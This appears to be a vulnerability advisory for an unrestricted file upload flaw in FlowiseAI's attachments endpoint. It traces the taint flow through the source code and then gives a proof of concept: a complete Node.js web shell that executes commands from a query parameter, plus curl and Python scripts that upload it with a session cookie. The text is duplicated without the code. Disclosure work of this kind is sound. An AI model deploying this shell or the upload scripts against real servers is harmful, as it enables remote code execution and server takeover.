Summary
A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
-
Taint 01: Route Registration
POST
file requests are routed to the controller via Multer
|
router.post('/:chatflowId/:chatId', getMulterStorage().array('files'), attachmentsController.createAttachment) |
-
Taint 02: Multer Settings
Uploaded files are stored temporarily before further handling
|
destination: `uploads/${generateId()}` |
|
}) |
|
}) |
|
} else { |
|
return multer({ dest: getUploadPath() }) |
-
Taint 03: Controller
Receives the file from Multer and delegates to the service
|
const createAttachment = async (req: Request, res: Response, next: NextFunction) => { |
|
try { |
|
const apiResponse = await attachmentsService.createAttachment(req) |
|
return res.json(apiResponse) |
|
} catch (error) { |
|
next(error) |
|
} |
|
} |
-
Taint 04: Service Layer
Processes the file and sends results back to controller
|
const createAttachment = async (req: Request) => { |
|
try { |
|
return await createFileAttachment(req) |
|
} catch (error) { |
|
throw new InternalFlowiseError( |
|
StatusCodes.INTERNAL_SERVER_ERROR, |
|
`Error: attachmentService.createAttachment - ${getErrorMessage(error)}` |
|
) |
|
} |
|
} |
-
Taint 05: createFileAttachment
Extracts metadata, moves file to permanent storage
|
const { path: storagePath, totalSize } = await addArrayFilesToStorage( |
|
file.mimetype, |
|
fileBuffer, |
|
file.originalname, |
|
fileNames, |
|
orgId, |
|
chatflowid, |
|
chatId |
|
) |
-
Taint 06: File Save Path
Creates storage directory and saves file
|
const dir = path.join(getStoragePath(), ...paths.map(_sanitizeFilename)) |
|
if (!fs.existsSync(dir)) { |
|
fs.mkdirSync(dir, { recursive: true }) |
|
} |
|
const filePath = path.join(dir, sanitizedFilename) |
|
fs.writeFileSync(filePath, bf) |
|
export const getStoragePath = (): string => { |
|
const storagePath = process.env.BLOB_STORAGE_PATH |
|
? path.join(process.env.BLOB_STORAGE_PATH) |
|
: path.join(getUserHome(), '.flowise', 'storage') |
|
if (!fs.existsSync(storagePath)) { |
|
fs.mkdirSync(storagePath, { recursive: true }) |
|
} |
|
return storagePath |
|
} |
-
Taint 07: File Filtering
Filters dangerous characters in file names but does not reject malicious content
|
const _sanitizeFilename = (filename: string): string => { |
|
if (filename) { |
|
let sanitizedFilename = sanitize(filename) |
|
// remove all leading . |
|
return sanitizedFilename.replace(/^\.+/, '') |
|
} |
|
return '' |
|
} |
PoC
shell.js (Node.js Web Shell)
const { exec } = require('child_process');
const http = require('http');
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const cmd = url.searchParams.get('cmd');
if (cmd) {
console.log(`Executing: ${cmd}`);
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
if (error) {
res.end(`Error: ${error.message}\n${stderr || ''}`);
} else {
res.end(stdout || 'Command executed successfully');
}
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(`
<h1>Node.js Web Shell</h1>
<p>Use ?cmd=command to execute</p>
<p>Example: ?cmd=id</p>
`);
}
});
const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
console.log(`Shell running on port ${PORT}`);
console.log(`Access: http://localhost:${PORT}?cmd=id`);
});
curl Upload
curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
-H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
-F "files=@shell.js;type=application/javascript"
Python Upload Script
import requests
import uuid
TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())
def upload_shell():
url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
headers = {'Cookie': f'jwt={TOKEN}'}
files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 200:
print("[✓] Upload success")
print(r.text)
else:
print(f"[✗] Upload failed ({r.status_code})")
print(r.text)
if __name__ == "__main__":
upload_shell()
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
Summary
A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
Taint 01: Route Registration
POST
file requests are routed to the controller via MulterFlowise/packages/server/src/routes/attachments/index.ts
Line 8 in d29db16
Taint 02: Multer Settings
Uploaded files are stored temporarily before further handling
Flowise/packages/server/src/utils/index.ts
Lines 1950 to 1954 in d29db16
Taint 03: Controller
Receives the file from Multer and delegates to the service
Flowise/packages/server/src/controllers/attachments/index.ts
Lines 4 to 11 in d29db16
Taint 04: Service Layer
Processes the file and sends results back to controller
Flowise/packages/server/src/services/attachments/index.ts
Lines 7 to 16 in d29db16
Taint 05: createFileAttachment
Extracts metadata, moves file to permanent storage
Flowise/packages/server/src/utils/createAttachment.ts
Lines 118 to 126 in d29db16
Taint 06: File Save Path
Creates storage directory and saves file
Flowise/packages/components/src/storageUtils.ts
Lines 170 to 175 in d29db16
Flowise/packages/components/src/storageUtils.ts
Lines 533 to 541 in d29db16
Taint 07: File Filtering
Filters dangerous characters in file names but does not reject malicious content
Flowise/packages/components/src/storageUtils.ts
Lines 1104 to 1111 in d29db16
PoC
shell.js (Node.js Web Shell)
curl Upload
Python Upload Script
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.